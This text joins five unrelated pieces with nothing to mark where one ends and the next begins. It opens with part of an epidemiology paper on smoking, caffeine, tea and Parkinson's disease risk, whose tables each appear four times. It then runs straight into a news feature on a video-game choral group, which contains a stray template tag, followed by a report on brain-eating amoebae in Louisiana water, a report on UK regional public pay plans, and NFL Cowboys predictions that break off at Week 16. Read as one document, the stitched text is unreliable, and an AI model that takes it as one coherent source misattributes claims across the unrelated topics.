A nurse practitioner administered a structured, in-person questionnaire to study subjects in their homes. The same nurse practitioner interviewed all study subjects. Subjects were first presented with an informed consent form, followed by a brief Mini-Mental State Examination (28) to establish cognitive competence for providing questionnaire responses. The questionnaire elicited data on demographic variables, medical history, lifestyle factors, diet, residential history, occupational history, and environmental exposures. Subjects were asked questions on lifetime tobacco use, including amounts smoked, years smoking started, and number of years smoked. Information on alcohol consumption and consumption of caffeine-containing beverages and foods was determined from questions about typical consumption patterns during most of adult life. The questions on alcohol elicited information on drinks per week without distinguishing the specific types of alcohol consumed. Caffeine consumption was determined from cups or drinks per day of coffee (regular), decaffeinated coffee, tea, decaffeinated tea, cocoa, and cola drinks and servings per day of chocolate.
Data analysis
An ever-smoker was defined as a person who had smoked a total of at least 100 cigarettes. Cumulative cigarette smoking, in pack-years, was estimated as the product of average packs per day and years smoked. A composite caffeine index was constructed as a daily sum of caffeine from these sources, based on published estimates of caffeine in milligrams per serving (29–31) of regular coffee, 70 mg/cup; decaffeinated coffee, 5 mg/cup; tea, 38 mg/cup; decaffeinated tea, 5 mg/cup; cocoa, 4 mg/cup; cola, 34 mg/12-ounce (354.84-ml) serving, and chocolate, 10 mg/1-ounce (29.57-ml) serving.
Odds ratios and 95 percent confidence intervals associated with exposure variables and PD risk were estimated by unconditional logistic regression, with control for age (<60 vs. ≥60 years), ethnicity (non-Hispanic Caucasian vs. other), gender, and education (≤12 vs. >12 years). Grouped linear terms, with categories assigned scores of 0, 1, 2,..., were constructed, and the Wald statistic was used to test for linear trends. The crude and adjusted odds ratios were nearly identical throughout; therefore, only adjusted results are shown.
RESULTS
The associations with cigarette smoking are summarized in table 2. Cigarette smokers had half the PD risk of nonsmokers, with slightly lower risks observed among current smokers (odds ratio (OR) = 0.3) than among ex-smokers (OR = 0.6). Compared with risks for never smokers, PD risks were most reduced among ex-smokers who were recent quitters; the adjusted odds ratios according to years since quitting for less than 10, 10–19, and 20 or more years were 0.2 (95 percent confidence interval (CI): 0.1, 0.6), 0.6 (95 percent CI: 0.3, 1.2), and 0.7 (95 percent CI: 0.5, 1.0) (trend p = 0.001), respectively. These findings for ex-smokers were not materially altered when adjustments were made for packs smoked/day (adjustments for duration smoked or pack-years were not possible because of collinearity with time since quitting). There were strong inverse gradients detected for amount smoked (packs/day) (trend p = 0.003), years smoked (trend p < 0.001), and pack-years of smoking (trend p < 0.001). Analyses considering packs/day and years smoked simultaneously indicated a slightly stronger effect of duration, although both were significantly related to reduced risk of PD. Subsequent analyses focused on pack-years since most literature supports a clear relation with total amount of cigarettes smoked (11–16).
TABLE 2. Smoking status All subjects No. of cases No. of controls OR* 95% CI† Never smoked 112 132 1.0 Ever smoked 98 215 0.5 0.4, 0.8 Current smoker 7 36 0.3 0.1, 0.7 Ex-smoker 91 179 0.6 0.4, 0.9 Packs/day 0 117 137 1.0 >0–<1/2 16 44 0.4 0.2, 0.8 1/2–<1 43 94 0.5 0.3, 0.8 1–<2 28 53 0.6 0.3, 1.0 ≥2 6 19 0.4 0.1, 1.0 p for trend 0.003 Years smoked 0 116 139 1.0 >0–19 39 62 0.7 0.4, 1.2 20–39 38 90 0.5 0.3, 0.8 ≥40 17 56 0.4 0.2, 0.7 p for trend <0.001 Pack-years 0 119 139 1.0 >0–19 47 82 0.6 0.4, 1.0 20–39 23 71 0.4 0.2, 0.6 ≥40 21 55 0.4 0.2, 0.8 p for trend <0.001 Smoking status All subjects No. of cases No. of controls OR* 95% CI† Never smoked 112 132 1.0 Ever smoked 98 215 0.5 0.4, 0.8 Current smoker 7 36 0.3 0.1, 0.7 Ex-smoker 91 179 0.6 0.4, 0.9 Packs/day 0 117 137 1.0 >0–<1/2 16 44 0.4 0.2, 0.8 1/2–<1 43 94 0.5 0.3, 0.8 1–<2 28 53 0.6 0.3, 1.0 ≥2 6 19 0.4 0.1, 1.0 p for trend 0.003 Years smoked 0 116 139 1.0 >0–19 39 62 0.7 0.4, 1.2 20–39 38 90 0.5 0.3, 0.8 ≥40 17 56 0.4 0.2, 0.7 p for trend <0.001 Pack-years 0 119 139 1.0 >0–19 47 82 0.6 0.4, 1.0 20–39 23 71 0.4 0.2, 0.6 ≥40 21 55 0.4 0.2, 0.8 p for trend <0.001 View Large
TABLE 2. Smoking status All subjects No. of cases No. of controls OR* 95% CI† Never smoked 112 132 1.0 Ever smoked 98 215 0.5 0.4, 0.8 Current smoker 7 36 0.3 0.1, 0.7 Ex-smoker 91 179 0.6 0.4, 0.9 Packs/day 0 117 137 1.0 >0–<1/2 16 44 0.4 0.2, 0.8 1/2–<1 43 94 0.5 0.3, 0.8 1–<2 28 53 0.6 0.3, 1.0 ≥2 6 19 0.4 0.1, 1.0 p for trend 0.003 Years smoked 0 116 139 1.0 >0–19 39 62 0.7 0.4, 1.2 20–39 38 90 0.5 0.3, 0.8 ≥40 17 56 0.4 0.2, 0.7 p for trend <0.001 Pack-years 0 119 139 1.0 >0–19 47 82 0.6 0.4, 1.0 20–39 23 71 0.4 0.2, 0.6 ≥40 21 55 0.4 0.2, 0.8 p for trend <0.001 Smoking status All subjects No. of cases No. of controls OR* 95% CI† Never smoked 112 132 1.0 Ever smoked 98 215 0.5 0.4, 0.8 Current smoker 7 36 0.3 0.1, 0.7 Ex-smoker 91 179 0.6 0.4, 0.9 Packs/day 0 117 137 1.0 >0–<1/2 16 44 0.4 0.2, 0.8 1/2–<1 43 94 0.5 0.3, 0.8 1–<2 28 53 0.6 0.3, 1.0 ≥2 6 19 0.4 0.1, 1.0 p for trend 0.003 Years smoked 0 116 139 1.0 >0–19 39 62 0.7 0.4, 1.2 20–39 38 90 0.5 0.3, 0.8 ≥40 17 56 0.4 0.2, 0.7 p for trend <0.001 Pack-years 0 119 139 1.0 >0–19 47 82 0.6 0.4, 1.0 20–39 23 71 0.4 0.2, 0.6 ≥40 21 55 0.4 0.2, 0.8 p for trend <0.001 View Large
When mutually adjusted odds ratio trends were computed, the inverse gradient with pack-years smoked persisted, but we found no associations with either coffee or alcohol consumption (table 3). The results for the composite caffeine index were similar to those found for coffee. The adjusted odds ratios for caffeine intake quintiles, based on equal numbers of cases per stratum, of 0–33, 34–120, 121–196, 197–354, and 355 or more mg/day were, respectively: 1.0 (reference), 0.7 (95 percent CI: 0.4, 1.2), 0.9 (95 percent CI: 0.5, 1.5), 0.6 (95 percent CI: 0.3, 1.1), and 0.9 (95 percent CI: 0.5, 1.6), with a trend p value of 0.58. Among the other sources of caffeine, there was a reasonably strong inverse risk gradient for tea (trend p = 0.03), a weaker inverse gradient for cola drinks (trend p = 0.22), and no association with consumption of decaffeinated coffee (table 4). The adjusted odds ratio for the highest consumption levels of tea (≥2 cups/day) and cola drinks (≥2 drinks/day) were 0.4 (95 percent CI: 0.2, 0.9) and 0.6 (95 percent CI: 0.3, 1.4), respectively. Too few cases reported routine consumption of decaffeinated tea, cocoa, or chocolate to support separate analyses. The findings for the smoking, caffeine, and alcohol variables were similar for subjects aged less than 60 years and 60 years or more (data not shown), suggesting no interactions with age at PD diagnosis.
TABLE 3. Variable No. of cases No. of controls OR* 95% CI† Pack-years 0 119 139 1.0 >0–19 47 82 0.6 0.4, 1.0 20–39 23 71 0.4 0.2, 0.6 ≥40 21 55 0.4 0.2, 0.8 p for trend <0.001 Coffee (regular) (cups/day) Almost never 63 96 1.0 >0–1 32 66 0.8 0.4, 1.3 2–3 69 105 1.1 0.7, 1.8 4–6 30 48 1.2 0.7, 2.2 >6 16 32 1.0 0.5, 2.0 p for trend 0.50 Alcohol (drinks/week) 0 86 132 1.0 1–2 48 72 1.1 0.7, 1.8 3–9 48 77 1.1 0.6, 1.7 ≥10 28 66 0.8 0.4, 1.4 p for trend 0.53 Variable No. of cases No. of controls OR* 95% CI† Pack-years 0 119 139 1.0 >0–19 47 82 0.6 0.4, 1.0 20–39 23 71 0.4 0.2, 0.6 ≥40 21 55 0.4 0.2, 0.8 p for trend <0.001 Coffee (regular) (cups/day) Almost never 63 96 1.0 >0–1 32 66 0.8 0.4, 1.3 2–3 69 105 1.1 0.7, 1.8 4–6 30 48 1.2 0.7, 2.2 >6 16 32 1.0 0.5, 2.0 p for trend 0.50 Alcohol (drinks/week) 0 86 132 1.0 1–2 48 72 1.1 0.7, 1.8 3–9 48 77 1.1 0.6, 1.7 ≥10 28 66 0.8 0.4, 1.4 p for trend 0.53 View Large
TABLE 3. Variable No. of cases No. of controls OR* 95% CI† Pack-years 0 119 139 1.0 >0–19 47 82 0.6 0.4, 1.0 20–39 23 71 0.4 0.2, 0.6 ≥40 21 55 0.4 0.2, 0.8 p for trend <0.001 Coffee (regular) (cups/day) Almost never 63 96 1.0 >0–1 32 66 0.8 0.4, 1.3 2–3 69 105 1.1 0.7, 1.8 4–6 30 48 1.2 0.7, 2.2 >6 16 32 1.0 0.5, 2.0 p for trend 0.50 Alcohol (drinks/week) 0 86 132 1.0 1–2 48 72 1.1 0.7, 1.8 3–9 48 77 1.1 0.6, 1.7 ≥10 28 66 0.8 0.4, 1.4 p for trend 0.53 Variable No. of cases No. of controls OR* 95% CI† Pack-years 0 119 139 1.0 >0–19 47 82 0.6 0.4, 1.0 20–39 23 71 0.4 0.2, 0.6 ≥40 21 55 0.4 0.2, 0.8 p for trend <0.001 Coffee (regular) (cups/day) Almost never 63 96 1.0 >0–1 32 66 0.8 0.4, 1.3 2–3 69 105 1.1 0.7, 1.8 4–6 30 48 1.2 0.7, 2.2 >6 16 32 1.0 0.5, 2.0 p for trend 0.50 Alcohol (drinks/week) 0 86 132 1.0 1–2 48 72 1.1 0.7, 1.8 3–9 48 77 1.1 0.6, 1.7 ≥10 28 66 0.8 0.4, 1.4 p for trend 0.53 View Large
TABLE 4. No. of cases No. of controls OR* 95% CI† Tea (regular) (cups/day) Almost never 138 202 1.0 >0–1 61 110 0.8 0.6, 1.3 ≥2 11 35 0.4 0.2, 0.9 p for trend 0.032 Decaffeinated coffee (cups/day) Almost never 132 216 1.0 >0–1 42 75 1.0 0.6, 1.5 ≥2 36 56 1.1 0.7, 1.8 p for trend 0.79 Cola (glasses/day) Almost never 128 196 1.0 >0–1 71 125 0.9 0.6, 1.3 ≥2 11 26 0.6 0.3, 1.4 p for trend 0.22 No. of cases No. of controls OR* 95% CI† Tea (regular) (cups/day) Almost never 138 202 1.0 >0–1 61 110 0.8 0.6, 1.3 ≥2 11 35 0.4 0.2, 0.9 p for trend 0.032 Decaffeinated coffee (cups/day) Almost never 132 216 1.0 >0–1 42 75 1.0 0.6, 1.5 ≥2 36 56 1.1 0.7, 1.8 p for trend 0.79 Cola (glasses/day) Almost never 128 196 1.0 >0–1 71 125 0.9 0.6, 1.3 ≥2 11 26 0.6 0.3, 1.4 p for trend 0.22 View Large
TABLE 4. No. of cases No. of controls OR* 95% CI† Tea (regular) (cups/day) Almost never 138 202 1.0 >0–1 61 110 0.8 0.6, 1.3 ≥2 11 35 0.4 0.2, 0.9 p for trend 0.032 Decaffeinated coffee (cups/day) Almost never 132 216 1.0 >0–1 42 75 1.0 0.6, 1.5 ≥2 36 56 1.1 0.7, 1.8 p for trend 0.79 Cola (glasses/day) Almost never 128 196 1.0 >0–1 71 125 0.9 0.6, 1.3 ≥2 11 26 0.6 0.3, 1.4 p for trend 0.22 No. of cases No. of controls OR* 95% CI† Tea (regular) (cups/day) Almost never 138 202 1.0 >0–1 61 110 0.8 0.6, 1.3 ≥2 11 35 0.4 0.2, 0.9 p for trend 0.032 Decaffeinated coffee (cups/day) Almost never 132 216 1.0 >0–1 42 75 1.0 0.6, 1.5 ≥2 36 56 1.1 0.7, 1.8 p for trend 0.79 Cola (glasses/day) Almost never 128 196 1.0 >0–1 71 125 0.9 0.6, 1.3 ≥2 11 26 0.6 0.3, 1.4 p for trend 0.22 View Large
It was also of interest to examine possible joint effects on PD risks between smoking and caffeine-containing beverages. To avoid very small numbers, we limited the analysis of interaction to binary classifications of exposure variables. The reduced risk among smokers was found consistently among drinkers and nondrinkers of caffeinated beverages, although in no instance was there evidence of an interaction (table 5).
TABLE 5. Beverage consumption Never smoked Ever smoked No. of cases No. of controls OR* 95% CI† No. of cases No. of controls OR 95% CI Coffee (cups/day) <2 60 76 1.0 35 86 0.5 0.3, 0.9 ≥2 52 56 1.2 0.7, 1.9 63 129 0.6 0.4, 1.0 p for interaction 0.98 Tea (cups/day) <1 96 103 1.0 88 177 0.5 0.3, 0.8 ≥1 16 29 0.6 0.3, 1.2 10 38 0.3 0.1, 0.6 p for interaction 0.75 Cola (drinks/day) <1 103 114 1.0 83 173 0.5 0.3, 0.8 ≥1 9 18 0.5 0.2, 1.2 15 42 0.4 0.2, 0.7 p for interaction 0.53 Beverage consumption Never smoked Ever smoked No. of cases No. of controls OR* 95% CI† No. of cases No. of controls OR 95% CI Coffee (cups/day) <2 60 76 1.0 35 86 0.5 0.3, 0.9 ≥2 52 56 1.2 0.7, 1.9 63 129 0.6 0.4, 1.0 p for interaction 0.98 Tea (cups/day) <1 96 103 1.0 88 177 0.5 0.3, 0.8 ≥1 16 29 0.6 0.3, 1.2 10 38 0.3 0.1, 0.6 p for interaction 0.75 Cola (drinks/day) <1 103 114 1.0 83 173 0.5 0.3, 0.8 ≥1 9 18 0.5 0.2, 1.2 15 42 0.4 0.2, 0.7 p for interaction 0.53 View Large
TABLE 5. Beverage consumption Never smoked Ever smoked No. of cases No. of controls OR* 95% CI† No. of cases No. of controls OR 95% CI Coffee (cups/day) <2 60 76 1.0 35 86 0.5 0.3, 0.9 ≥2 52 56 1.2 0.7, 1.9 63 129 0.6 0.4, 1.0 p for interaction 0.98 Tea (cups/day) <1 96 103 1.0 88 177 0.5 0.3, 0.8 ≥1 16 29 0.6 0.3, 1.2 10 38 0.3 0.1, 0.6 p for interaction 0.75 Cola (drinks/day) <1 103 114 1.0 83 173 0.5 0.3, 0.8 ≥1 9 18 0.5 0.2, 1.2 15 42 0.4 0.2, 0.7 p for interaction 0.53 Beverage consumption Never smoked Ever smoked No. of cases No. of controls OR* 95% CI† No. of cases No. of controls OR 95% CI Coffee (cups/day) <2 60 76 1.0 35 86 0.5 0.3, 0.9 ≥2 52 56 1.2 0.7, 1.9 63 129 0.6 0.4, 1.0 p for interaction 0.98 Tea (cups/day) <1 96 103 1.0 88 177 0.5 0.3, 0.8 ≥1 16 29 0.6 0.3, 1.2 10 38 0.3 0.1, 0.6 p for interaction 0.75 Cola (drinks/day) <1 103 114 1.0 83 173 0.5 0.3, 0.8 ≥1 9 18 0.5 0.2, 1.2 15 42 0.4 0.2, 0.7 p for interaction 0.53 View Large
DISCUSSION
The apparently protective effect of cigarette smoking on PD observed in our study was very similar in magnitude to what has been reported previously in the literature. A markedly reduced risk in current smokers (OR = 0.3) agrees with findings from case-control studies in New York (9) and Michigan (13), and the inverse dose-response pattern with pack-years is consistent with trends reported from investigations in Europe and North America (11, 13, 14, 16). Our observations that there was an inverse risk gradient with duration smoked and that, among ex-smokers, PD risk was most markedly reduced (OR = 0.2) among recent quitters (<10 years) add further support to a neuroprotective role of prolonged exposure to cigarette smoke. A similar trend with years since quitting smoking was seen in the Michigan study (13). The especially pronounced lower risk among persons who quit smoking relatively recently suggests that neuroprotection might act during a late stage of PD pathogenesis. Alternatively, PD patients may preferentially elect to quit smoking while experiencing prediagnostic symptoms. Reasons for quitting smoking were not elicited in our study, nor has such information been reported in previous literature on PD and smoking; thus, this is a matter of speculation that deserves future examination. The underlying biologic mechanisms or behavioral determinants of the inverse relation with smoking remain unresolved.
We did not confirm an inverse association for either coffee or total caffeine consumption that has been seen in other studies (14, 25, 26). In contrast, we observed reduced risks related to consumption of tea and cola, which were somewhat unanticipated findings. Both tea and cola drinks are sources of caffeine, but our findings are suggestive of protective effects from beverage components other than caffeine, in light of the absence of associations with coffee, decaffeinated coffee, and total caffeine.
A particular strength of our study was the identification of incident, rather than prevalent, PD cases. Selection of prevalent cases, as has been done in most other PD epidemiologic studies, can introduce bias if exposures of interest are related to disease progression or survival. In addition, both cases and controls in our study were selected from a well-defined population base, GHC, which is a health maintenance organization that provides medical care to roughly 400,000 persons in the Puget Sound region of western Washington State. Subject participation rates (71 percent for cases and 66 percent for controls), although less than ideal, were not abnormally low for population-based case-control studies. There is little reason to suspect that there was a serious selection bias due to participation that was related to both exposure and disease status. However, we do not have the necessary exposure data on persons who declined participation to test this assertion.
The principal limitation of this study is reliance on self-report for data on cigarette smoking, caffeine intake, and alcohol consumption. Consequently, the possibility of inaccurate exposure data and resulting misclassification bias should be considered when interpreting our findings. Among the exposures of interest here, data for cigarette smoking were undoubtedly most complete and valid because the questionnaire items elicited information on lifetime smoking habits. We requested only data for typical adult consumption patterns of alcohol and caffeine-containing beverages. Moreover, we did not ask about specific types of alcohol (beer, wine, hard liquor) or tea (black, green, herbal), nor did we request information on changes in dietary habits throughout life.
Tea has not been investigated in relation to PD risk as extensively or explicitly as coffee has, perhaps because consumption of coffee is far more prevalent in North America and Europe, where most research on PD has been undertaken. There is mixed epidemiologic evidence for the relation of tea with PD. Consumption of at least one cup of tea per day has been associated with reduced PD risks of 30–40 percent in China (12) and among male health professionals in the United States (26), although no association was found for female nurses in the latter study. In contrast, a nearly twofold increased risk for PD among tea drinkers was reported from a hospital-based case-control study in France (32). A potentially neuroprotective effect might be inferred from the identification in tea of free-radical scavenging phenolic compounds (33), especially in view of the widely accepted relevance of oxidative stress mechanisms in PD pathogenesis (34). Corroborative epidemiologic and experimental evidence that distinguishes effects among the various tea types and component chemicals will be necessary before firmer conclusions can be reached.
Supported by the National Institute of Environmental Health Science grants ES 04696 and ES10750.
The authors are grateful to Group Health Cooperative and University of Washington neurologists, Drs. Robert Gotshall, Ann Hunt, Eric Kraus, Richard Mesher, Steve Pugh, Bruce Ransom, Ali Samii, Timothy Searce, Kurt Seiffert, Ken Uchino, and Thurman Wheeler for referral of PD cases, to Janice Petersen for data collection, and to Megan Schuknecht for manuscript preparation.
Angel Mannion is convinced his newly-formed choral group Folklore will entice the young generation of video game addicts into the orbit of traditional choral music. The idea for this approach came to the 26-year-old San Diegan as a chorister singing with the San Diego Symphony’s annual Summer Pops’ Comic-Con programs, another new audience outreach by the Symphony.
“I’ve always loved film and video game scores,” he noted. “I think they were the perfect introduction to instrumental music for me, and after singing Comic-Con the past few years, it’s been hard not to take notice to how many people I related to in the audience. They, like me, were excited to hear the music I heard over and over on a 16-bit sound card via Super Nintendo performed live by a professional orchestra.”[php snippet=1]
For Folklore, Mannion has assembled 40 singers, a mix of younger professional vocalists, university music majors and some auditioned high school singers, to perform a combination of choral arrangements of themes from popular video games such as Super Mario, the Legend of Zelda, and Bowser, along with Renaissance motets and contemporary choral settings. “I am trying to reach people who don’t listen to classical music but who will recognize the themes from the games they play and then integrate them with the audience that will come for the traditional choral gems.”
Having grown up in Southeast San Diego with no exposure to classical music and the classical choral tradition, Mannion identifies with young gamers who are not seeking out the music he now loves. “In high school I sang in a ‘show choir,’ but it lacked the emotional depth I didn’t realize I was craving, and it didn’t expose me to the great wealth of choral music,” he explained.
He started college to become an engineer, but encountered Ken Anderson, the respected conductor of the Martin Luther King, Jr. Community Choir of San Diego, in a voice class at Grossmont College. Anderson saw his potential as a singer and gave him vocal training. But it wasn’t until Mannion came into a large CD collection of traditional choral music—an unexpected stroke of luck or fate—that put him on his current course.
“The first music I listened to was Ralph Vaughan Williams’ ‘Turtle Dove,’ and that completely blew me away. I had no idea this music could be so powerful.”
Mannion finished his music degree at San Diego State University on a vocal scholarship and has continued to sing in the San Diego Opera Chorus, SACRA/PROFANA, and the recently formed San Diego Pro Arte Voices. He directs the volunteer choir in a Roman Catholic parish in East County, but directing his own professional choir will allow him to chart the unique musical trajectory he has imagined.
Visually, Folklore will not be confused with any other local ensemble. The usual garb of traditional choral groups—black
formal wear—is a non-starter for Mannion, because he thinks gamers would be put off by such old-fashioned formality. “We are going for monks’ robes because they link us to Gregorian chant, where western choral music began, and they fit into the nerdy scheme of Renaissance faires,” a more welcoming association for his potential audience than tuxes and long black gowns.
District where amoeba was detected serves almost 5,000 people
Parish will flush system with extra chlorine for 60 days
Health officials say water safe to drink, but it keep it away from nasal passages
Brain-eating amoebae were found in DeSoto Parish, Louisiana, where a 51-year-old woman died from an infection in 2011, the Louisiana Department of Health and Hospitals said.
The parish's Waterworks District No. 1 -- one of 14 systems in the parish -- was to flush its system with additional chlorine Wednesday to kill the amoeba, the department said in a release Tuesday.
Residents, over the next two months, "may notice a change in the smell and taste of the water throughout the chlorine burn. However, the water will remain safe to drink," the department said.
The state selected the district's water for additional testing because of the 2011 death. After the Naegleria fowleri amoeba was detected last month in St. Bernard Parish near New Orleans -- and linked to the August death of a 4-year-old boy -- the state tested DeSoto Parish's water as a precautionary measure.
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The district serves almost 5,000 customers in DeSoto Parish, which includes the city of Mansfield, south of Shreveport.
The Centers for Disease Control and Prevention confirmed the amoeba's presence; there are no known current illnesses reported in the state.
"Families can take simple steps to protect themselves from exposure to this (amoeba), the most important being to avoid allowing water to go up your nose while bathing or swimming in a pool," state health officer Jimmy Guidry said in the release. "It is important to remember that the water is safe to drink; the (amoeba) cannot infect an individual through the stomach."
The first symptoms of primary amoebic meningoencephalitis appear one to seven days after infection. They include headache, fever, nausea, vomiting and a stiff neck, according to the CDC
"Later symptoms include confusion, lack of attention to people and surroundings, loss of balance, seizures and hallucinations," the CDC website says. "After the start of symptoms, the disease progresses rapidly and usually causes death within one to 12 days."
The state released a list of precautions residents could take to lower their risk of infection.
Among them: Don't allow water to go up your nose while swimming, bathing or washing your face; lower yourself carefully into tubs and pools to avoid splashing; avoid playing in sprinklers or on Slip 'n Slides; run taps for five minutes before use; use boiled or distilled water for sinus rinse solutions and neti pots; and be sure to keep swimming pools and hot tubs disinfected.
Officials say the Mississippi 4-year-old who died in St. Bernard Parish in August had been playing on a homemade waterslide made of a long sheet of plastic when he contracted amoebic meningoencephalitis.
In 2011, a woman, 51, in DeSoto Parish and a 20-year-old man near New Orleans died after rinsing their sinuses with neti pots, the Department of Health and Hospitals said.
Unions have reacted angrily to plans to scrap national pay rates for some public sector workers in the UK.
Chancellor George Osborne is expected to say civil servants, such as Jobcentre and DVLA staff, should have pay brought into line with private sector salaries in their regions.
The Public and Commercial Services union says it would cut regional wages.
The Treasury says public sector pay in some parts of England and Wales is up to 18% higher than the private sector.
Shadow chancellor Ed Balls said he feared the plans would end up in a "free-for-all" and would be difficult to keep public sector pay under control.
Mark Serwotka, general secretary of the Public and Commercial Services (PCS) union - which represents civil servants - told the BBC the plans would be "cruel, economically incompetent and counterproductive" at a time when public sector salaries and pensions were being cut.
The move would mean local factors, such as the cost of living and private sector pay rates, would now be taken into account for public sector workers.
Analysis The chancellor wants to rebalance the economy and that means getting private sector companies growing. Scrapping national pay deals for public sector workers might level the playing field... or so the theory goes. In places where public sector workers are paid more than those in the private sector, Treasury sources say private firms are "crowded out" because they cannot compete with the wage levels. George Osborne is expected to say in his Budget that factors such as the cost of living in an area, and how much local private sector companies pay their staff should be taken into account when setting the pay of civil servants like job centre workers. But that would mean setting pay levels locally which the trades unions warn would lead to huge disparities across the country and could drive down pay in the regions.
Treasury research suggests the pay gap ranges from 18% in Wales to 0.5% in the south-east of England.
The plans would initially affect 160,000 civil servants working in Jobcentres, the Driver and Vehicle Licensing Agency (DVLA), and border guards at ports and airports.
But local pay rates affecting up to six million public sector workers could be rolled out from next year.
Treasury officials say it would ensure the UK has "a responsive, modern labour force".
Business Secretary Vince Cable would not confirm or deny the plans but said the idea of having more flexibility in the public sector was "surely right".
He told BBC Radio 4's Today programme: "What we're trying to do is make sure that throughout the public sector there's more genuine decision making at a local level and you have to take into account pay and conditions."
He added: "But it has got to be done very carefully because in the civil service, for example, you have to have career progression and that kind of national consideration has to be woven into the story as well."
A Treasury source told the BBC's Chris Mason the move was not about saving money but about ensuring the UK has "a responsive, modern labour force".
'Totally irresponsible'
The source told our correspondent the move is seen as "pro-growth" because it would help make the private sector become more competitive.
In response to the plans, Scottish Finance Secretary John Swinney said: "This would be totally irresponsible and place further pressures on household incomes at a time when we desperately need a boost in consumer confidence to get the economy moving again."
Meanwhile, Wales's First Minister Carwyn Jones said the government should be trying to improve regional disparities in pay, not making them worse.
Public sector 'pays once again' Shelley, 50, from the west Midlands, has three children and works at a Jobcentre in one of the more depressed areas of Britain. This is yet another part of the process of making the public sector pay once again for the crime of being those who spend the nation's wealth, albeit on essential services, rather than those who create it. This government, like previous Tory governments (for such it is, despite the notion of a coalition) consistently views public expenditure as unnecessary spending, not as the provision of public services. Moreover, they attempt to present the flow of more going to the fortunate and less going to the bereft as somehow fair and just. This is, in my view, all part of an ideology dedicated to the ascendancy of the private over the public, of capital over civic. This Tory coalition won't be happy until we have a Britain they can buy and sell to the highest bidder.
"Surely we should be looking at a situation where we look to close the gap in income between different parts of the UK rather than make it worse, which is exactly what this will do."
And Northern Ireland's Finance Minister Sammy Wilson said he would oppose any attempts by Westminster to set local pay variations in the public sector.
The director of the Institute for Fiscal Studies, Paul Johnson, said the government faced a difficult task because public sector pay was frozen until 2014, and only then due to rise by 1%.
"If you want to introduce differential, it's much easier to do it at a time when pay's increasing more quickly so you can, for example, freeze pay in some regions and raise it more quickly in others," he said.
"If it's only going up 1% on average and you're freezing in some regions, you actually can't do very much unless you're waiting a very long time."
The NASUWT, the largest teachers' union, also criticised the suggestion.
General secretary Chris Keates said: "As usual the chancellor holds up the private sector as the comparator. The inconvenient truth he chooses to ignore is that large organisations in the private sector have national pay and conditions frameworks."
TUC general secretary Brendan Barber said: "Moving to regional pay will not just reduce the pay of millions of public servants, but hit regional economies outside London and the South East when people have less to spend."
Len McCluskey, Unite's general secretary, added: "All this will do is drive workers to the better paid regions, leaving large parts of the country without the professionals essential to sustain local services."
And Ravi Subramanian from Unison, Britain's biggest public sector union, said Mr Osborne effectively wanted nurses and care workers in the Midlands to take a pay cut to fund his 50p tax cut for millionaires in southern England.
"It's the politics of division and it shows that the Tories really are the nasty party," he said.
Mr Osborne initially set out the idea in the Autumn Statement.
Week 1: Sunday, Sept. 11, vs. New York Giants, 4:25 p.m. ET
Why wouldn't the Cowboys open with the Giants? This is the sixth time since 2007 the Cowboys have opened with their NFC East rival. They did it last year and needed a final-second Jason Witten touchdown catch for the win. Not this time. Record: 1-0.
Week 2: Sunday, Sept. 18, at Washington Redskins, 1 p.m. ET
The Cowboys have won three straight at FedEx Field and won last year with Matt Cassel as their starter. Something strange always seems to happen when the Cowboys play at FedEx Field. Something strange happens here. Record: 1-1.
Week 3: Sunday, Sept. 25, vs. Chicago Bears, 8:30 p.m. ET
The Bears won their first two games against the Cowboys at AT&T Stadium in 2010 and 2012, but they won't make it three in a row. Record: 2-1.
Week 4: Sunday, Oct. 2, at San Francisco 49ers, 4:25 p.m. ET
The Cowboys had success against Chip Kelly when he was in Philadelphia but they also looked foolish. But the Cowboys will be better suited than most teams this time to handle the pace of play. Record: 3-1.
Week 5: Sunday, Oct. 9 vs. Cincinnati Bengals, 4:25 p.m. ET
Jerry Jones has made a trade with every team in the NFL but Cincinnati. Maybe they can work something out in a few weeks. TCU product Andy Dalton returns to the area with A.J. Green and a strong defense. Record: 3-2.
Week 6: Sunday, Oct. 16, at Green Bay Packers, 4:25 p.m. ET
Including playoffs, this will be the Cowboys' sixth trip to Lambeau Field since 2008. They have won just one of the previous five. The Packers are a different team at home and they will have a healthy Jordy Nelson to help Aaron Rodgers revert to form. Record: 3-3.
Week 7: BYE
Week 8: Sunday, Oct. 30, vs. Philadelphia Eagles, 8:30 p.m. ET
The Cowboys have to get off the losing train and there's no better place to do it than in prime time against an Eagles team with a new coach in Doug Pederson, a new defensive scheme and no DeMarco Murray. Record: 4-3.
Week 9: Sunday, Nov. 6, at Cleveland Browns, 1 p.m. ET
Are the Browns getting the Robert Griffin III who tortured the Cowboys in 2012 as a rookie, or the quarterback who couldn't find the range in his last three seasons in Washington? The Browns have gone the analytics route to fix their team. It won't help. Record: 5-3.
Week 10: Sunday, Nov. 13, at Pittsburgh Steelers, 4:25 p.m. ET
Two gunslingers go at it in Tony Romo and Ben Roethlisberger, as do two great receivers in Dez Bryant and Antonio Brown. If you like offense, this will be the game for you. The Steelers just have more offense on this day. Record: 5-4.
Week 11: Sunday, Nov. 20, vs. Baltimore Ravens, 1 p.m. ET
Like the Cowboys, Baltimore hopes it is done with seasons like 2015 when it finished 5-11. The Ravens had Joe Flacco for 10 games. The Cowboys only had Tony Romo for four in their 4-12 finish. Both of these teams could be playoff contenders. Record: 6-4.
Week 12: Thursday, Nov. 24, vs. Washington Redskins, 4:30 p.m. ET
The last time the Cowboys saw Washington on Thanksgiving Day, Robert Griffin III sliced them up in 2012. The Redskins have given Kirk Cousins the keys to the franchise now. Is he that dynamic? Record: 7-4.
Week 13: Thursday, Dec. 1, at Minnesota Vikings, 8:25 p.m. ET
Back-to-back Thursday games are different. A few years ago Jerry Jones was fined by the league for his comments regarding the need for a new stadium in Minnesota. Well, the Vikings now have their new stadium but Jones still had to pay the fine. He'll take a loss here to former Cowboys defensive coordinator Mike Zimmer, too. Record: 7-5.
Week 14: Sunday, Dec. 11, at New York Giants, 8:30 p.m. ET
If not for a 100-yard kickoff return by Dwayne Harris last year, the Cowboys would have a four-game winning streak at MetLife Stadium. There is no fear in playing up there and their big cornerback signing, Janoris Jenkins, isn't a good matchup against Dez Bryant. And the Cowboys get a nice 10-day break. Record: 8-5.
Week 15: Sunday, Dec. 18, vs. Tampa Bay Buccaneers, 1 p.m. ET
The Cowboys lost 10-6 to the Buccaneers last season with Jameis Winston scoring the game's only touchdown in the final minute. The Cowboys didn't have a healthy Tony Romo or Dez Bryant and still should have won the game. Both are healthy now. Record: 9-5.
Week 16: Monday, Dec. 26, vs. Detroit Lions, 8:30 p.m. ET
